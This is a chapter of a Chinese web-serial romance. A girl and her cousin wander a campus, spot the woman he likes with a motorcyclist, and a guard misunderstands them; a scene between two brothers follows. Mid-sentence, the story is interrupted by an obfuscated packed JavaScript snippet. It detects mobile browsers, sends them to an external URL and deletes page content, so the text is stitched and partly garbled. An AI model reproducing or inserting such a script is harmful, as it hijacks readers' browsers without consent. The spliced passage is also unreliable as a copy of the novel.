云溪:「我不是看不起超市记账啦,就是觉得,其实有更好的选择啦(疯狂暗示)」 云霁的本意是,他还不至于太阳底下吆喝卖东西。但她好像误会了。 他看了眼两人的对话,是他说得太简略了吗?比起她的长篇大论,他的语言是显得有些简洁。 她的思维太过发散。看来,以后和她说话,还是要说清楚些。 Yun:「我不准备卖车、卖保险、超市记账。」 宋浣溪严阵以待,“除了卖车、卖保险之类的,还有别的就业途径吗?” 越淮轻飘飘地答:“有啊。创业。” 她想了想,好像也不是不行…… 越淮慢慢悠悠地说:“租个餐车,牌子上写炒饭炒面炒米粉风险咨询,十天半个月没准就能接到大爷大妈的咨询单了。当然了,前提是做饭手艺过关。” 宋浣溪气鼓鼓地说:“哥哥!你能不能认真点?我没和你开玩笑!” 越淮啧了声,“你自己在网上搜一下,金融学毕业在街头炒饭炒面炒米粉,看一下是不是有很多帖子。” 宋浣溪将信将疑地输入关键词“金融学、炒饭、炒面、炒米粉”。果不其然,入目的帖子众多,主页图清一色的铁餐车,上面挂着红色的招牌——“炒饭/炒面/炒米粉/风险咨询”。 看着好不可怜。 如果宋浣溪年纪再大些,她就会发现“炒饭、炒面、炒米粉”,是万能的。无论是配上法学、英专还是别的什么专业,搜出来都是清一色的铁推车。大学生的自嘲罢了,并不能当真。 但她此时切切实实地信了,并隐隐地感到担忧。 他那么好听的嗓子,可不能用来吆喝。做饭油烟大,容易坏嗓子。 云溪:「卖炒饭、炒米粉、炒年糕、烤冷面、锅盔、卷饼、冰饭、淀粉肠、钵钵鸡、肉夹馍、烤包子、四果汤、鸡蛋汉堡、煎饼果子、福鼎肉片也太累了吧!」 良久。 Yun:「还没沦落到那个地步。」 云溪:「那就好(捂着胸口)(呼了口气)」 “刚刚外面有一男一女在偷看我们。”越淮忽地开口。 宋浣溪熄灭屏幕,回头看了又看,“哪有人啊?” “已经走了。那两个人在外面来回走了两遍,每次都往里面看。” “噢。管他呢,反正不认识。”她不以为意,叉起菠萝包往嘴里塞,含含糊糊地说:“吃好了,我们走。” 大半个小时后。 两人绕着西门附近的篮球场一块,走了一大圈,眼见越淮要带她走第二圈。宋浣溪终于忍无可忍。 “哥哥!咱们能别绕这一块走了吗?这地方不就是我们来的那个门附近吗?” 她看了眼光秃秃的篮球场,“什么风景也没有,一点也不好玩。” “你想看风景?”越淮垂眸。 “本来是想的,现在走累了。脚都快走断了,不想再走了!”她气呼呼地说:“我们回家吧,累死啦。” “这才多久就累了?” 宋浣溪哼了声,原地蹲下,“拜托。我只是一个柔弱的小女生,体力能好到哪里去?我不管啦,我不要再走了。我要回家吃饭。” 他抬眸,没好气道:“起来。” 她疯狂摇头,“不要!不要!都说了让你自己先逛,非要来找我。你想把我累死呜呜呜,我要告诉小姨,哥哥一回来就欺负我呜呜呜……” 呜呜呜了半天,一滴眼泪也没流。被她吵得头疼,越淮无法,“走吧,回去了。” 宋浣溪从地上跳起来,“咻”地往外跑,“耶。” “……” 前头的人活蹦乱跳,在后的人不紧不慢。 宋浣溪刚跑出校门,就听到远方传来机车的轰鸣声。风驰电掣没几秒,黑色的酷炫机车停在校门外的公交站旁。 她向来好奇心重,爱看热闹又八卦,看到新鲜事物总要多看两眼。眼见那男骑手、女娇客下了车,两人都戴着偌大的头盔,看不清正脸。 但从身材也能看出,两人绝对是帅哥美女。 男生身穿黑色机车服,脚踩aj高帮鞋。远远地,她看见他耳钉上的钻在闪。潮得很。他身量虽高,看着却有些单薄,少年感十足,看着年纪不大。 女生身材玲珑有致,玉臂胜雪,纤腰楚楚,婷婷袅袅。一袭白裙,更显温柔动人。 她看了看大美女凹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|13976594|148038||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凸有致的身影,下意识看了看自己的胸,又扭头看了看自己的屁股,而后默默地站远了几步。 没几秒,她又慢慢地挪近了些许。 这大美人怎么越看越眼熟? 宋浣溪眼睁睁地看她摘下头盔,只见那黑直长发,如瀑布般落下。几缕额前青丝,随风温柔地摆动,美人葱白的手指轻拂过脸颊,将不听话的碎发拨开。 真容乍现,青山远黛,唇红齿白,好一个标致大美人。 这……这不就是,大魔王绕了一大圈,也没偶遇的坏女人吗? 还不如不碰到呢。 宋浣溪连忙往后看,越淮不知道什么时候,被保安拦了下来。保安正神神秘秘地和他说着些什么,她一个字也听不清。 看样子,大魔王还未发现远处的情况。 怎一个惨字了得? 千里迢迢来偶遇,人家却在外边约会。 宋浣溪跑回越淮身边,听到保安在说:“……趁你不在,勾搭别的男生。” 保安说得过于投入,乍一看见她的脸,马上噤声,一副见了鬼的表情。 宋浣溪莫名其妙,大魔王什么时候贿赂了保安?保安在替他监视坏女人?坏女人经常和别的男人纠缠不清? 奇怪。 明明他们刚来的时候,他们看起来完全不认识。 她扯过越淮的手腕就往外走。 殊不知。 保安和越淮的对话是这样的—— “诶!帅哥,你先别走。” “?” “我本来也不想多管闲事。看你也是个可怜人呐。实在是于心不忍。长这么帅气,还是河清大学的高材生,年纪轻轻就开上辉腾了……我这辛苦一辈子,钱都被家里的婆娘花完了。什么时候能买辆辉腾开开,我就知足了……” 越淮:“我很忙。”没空听你废话。 他拔腿就要走。 保安看宋浣溪已经走远了些,小声叫唤道:“诶!你被绿了,知道不?” 一句话成功将他硬控。 越淮:“……?” 保安指了指宋浣溪的背影,“你女朋友这个人,三心二意、见异思迁呐!刚才你一去停车,她就开始问我,学校里有什么帅哥。说说也就算了——” 他压低了声音,颇有些难以启齿地说:“她刚才还趁你不在,勾搭别的男生。” 话没说完,保安看宋浣溪气势汹汹地出现,马上识趣地闭上了嘴。 看着两人的背影,他心想,拉着人就跑,果然是心虚了! 走了几步,越淮不配合地停下脚步,“走这么急干嘛?” 拉也拉不动,宋浣溪甩开他的手腕,双手叉腰,抬着下巴,往远处“喏了”一声,“那机车好酷。” 越淮顺着她的目光看去。于是,她清楚地看到。他的表情由多云转暴雨。 一双桃花眼,一瞬不瞬地看着远处的两人,眼也不眨。本就熬了多日的长夜,瞳孔旁血丝细密,此时还睁大了眼,有些骇人的凄凉。 宋浣溪还在往他伤口上撒盐,“我们过去看看吧,我还没坐过机车呢。那个男生看起来好酷哦!” 半晌,越淮“啧”了声,“你没坐过摩的吗?小时候不是在火车站外面坐过?” “那是摩的,这是机车,不一样的。” 他的语气不好,“有什么不一样?” 宋浣溪一时半会儿,说不出个所以然来。算了,看在他可怜的份上,不和他争辩了。 她本以为,按照大魔王不撞南墙不死心的性格,绝对会装作一副毫不在意的样子,走到坏女人面前,嘴硬地来一句“这么巧啊?你对象?”之类的,看似云淡风轻,实则后槽牙都快咬碎了的话。 哪知,他带着自己,走到马路对面,避开了他们。 那两人不知在聊些什么,十分投入,压根没发现有人在看他们。 宋浣溪跟着越淮,背对着他们,走了很长很长的一段路。他忽然回首,往远处深深地望去。她随着往后看。 遥远的道路尽头,两人正在道别。男生坐在机车上,高高挥手。坏女人在男生不远处,微笑着挥手。 越淮冷笑了声,收回目光,眼底嘲弄一片。 因着这一出,回程的路上,语音导航几度提醒“您已超速”。宋浣溪几番欲言又止,左思右想,还是不敢再触他的霉头。 本着不饿死就行的带娃原则,中午越淮点了外卖,她嘀嘀咕咕,“怎么每次都吃米饭呀?我们不能吃点汉堡炸鸡可乐什么的吗?” 他眼也没抬,“有的吃就不错了,再挑三拣四,下次自己点。” 她“哼哼”两声,愤愤地把菜塞进嘴里,不说话了。 虽说大魔王待她不仁,但她不能对他不义。见他中午没吃几筷子,宋浣溪有些担心。 饭后,她在房间里待了没多久,又悄悄摸摸地走到越淮房间门口。他房门半开,室内的窗户开着,半掩的窗帘随风大摆,使得房内光线明明灭灭。 他背对着她,垂首倚在窗边,不知在想些什么。 她踮起脚尖,悄无声息地走到他身后,只见他在鱼鱼软件的评论区打字——“今天有事?怎么没开播?” 她“嘶”了声,冷脸洗内裤啊这是。 越淮摁灭屏幕,凉凉回首,把正要跑路的她,捉了个正着。 宋浣溪笑得很尴尬,“那个……这个,要不要吃下午茶呀?肯德基怎么样?”然后被人丢出了房间。 下午上完课后,云霁回家拿乐器,在家门口,碰到正要外出的云卷。 云卷停下脚步,讪讪地说:“哥,你回来了。” “嗯。” 云卷生怕他问话,马不停蹄就要走。怕什么,来什么。脚刚抬起,他被叫住。 “你上次好像说——”云霁回忆了几秒,“你和那个小姑娘握手言和了,现在关系好得很?” 撒一个谎,就要用一百个谎来圆。 云卷见他莫名提到此事,以为是哪里出了纰漏。心里发虚,硬着头皮说:“是啊,我们俩现在关系好着呢!我发现她人还真挺好的!” 话音刚落,他见云霁扯了扯唇,心里纳闷,这话是有什么笑点吗? 云霁看着一脸茫然的云卷,又想到她滔滔不绝的告状,老气横秋的补刀——“云卷实在太不像话了。” 这就是云卷说的,关系好得很? 陈雷有句话真没说错,姑娘家记仇,不能随意招惹。 “对了,哥。”云卷装作宽宏大量的样子,“你不知道,她之前还跟高振国要你的微信来着。女生就是爱告状,要不是我大人不记小人过,没和她计较,我们也不能握手言和。” 虽然,两人也没握手言和。 他就是想在他哥面前,表现出他的大度。 听了这话,云霁却是有些发愣。过了好几秒,他才问—— “那他给了吗?”